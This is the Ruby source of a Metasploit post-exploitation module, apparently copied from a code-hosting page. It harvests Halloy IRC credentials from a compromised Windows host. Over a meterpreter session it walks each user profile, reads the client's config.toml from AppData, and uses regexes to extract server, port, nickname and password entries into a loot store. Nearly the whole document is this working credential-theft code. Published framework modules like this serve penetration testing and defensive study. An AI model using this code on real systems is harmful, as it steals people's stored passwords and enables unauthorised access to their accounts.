Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/credentials/halloy_irc.rb
Views: 11704
# This module requires Metasploit: https://metasploit.com/download1# Current source: https://github.com/rapid7/metasploit-framework2##34class MetasploitModule < Msf::Post5# this associative array defines the artifacts known to PackRat6include Msf::Post::File7include Msf::Post::Windows::UserProfiles8include Msf::Post::Windows::Packrat9ARTIFACTS =10{11application: 'Halloy IRC',12app_category: 'IRC',13gatherable_artifacts: [14{15filetypes: 'logins',16path: 'AppData',17dir: 'halloy',18artifact_file_name: 'config.toml',19description: 'Saved Bookmarks',20credential_type: 'text',21regex_search: [22{23extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',24extraction_type: 'credentials',25regex: [26'(?i-mx:server =.*)',27'(?i-mx:port =.*)',28'(?i-mx:nickname =.*)',29'(?i-mx:password =.*)'30]31}32]33}34]35}.freeze3637def initialize(info = {})38super(39update_info(40info,41'Name' => 'Halloy IRC credential gatherer',42'Description' => %q{43PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems.44PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries.45Further details can be found in the module documentation.46This is a module that searches for credentials stored on Halloy IRC Client in a windows remote host.47},48'License' => MSF_LICENSE,49'Author' => [50'Jacob Tierney',51'Kazuyoshi Maruta',52'Daniel Hallsworth',53'Barwar Salim M',54'Z. Cliffe Schreuders' # http://z.cliffe.schreuders.org55],56'Platform' => ['win'],57'SessionTypes' => ['meterpreter'],58'Notes' => {59'Stability' => [CRASH_SAFE],60'Reliability' => [],61'SideEffects' => []62}63)64)6566register_options(67[68OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),69OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),70# enumerates the options based on the artifacts that are defined below71OptEnum.new('ARTIFACTS', [false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map { |k| k[:filetypes] }.uniq.unshift('All')])72]73)74end7576def run77print_status('Filtering based on these selections: ')78print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")79print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")80print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")8182# used to grab files for each user on the remote host83grab_user_profiles.each do |userprofile|84run_packrat(userprofile, ARTIFACTS)85end8687print_status 'PackRat credential sweep Completed'88end89end909192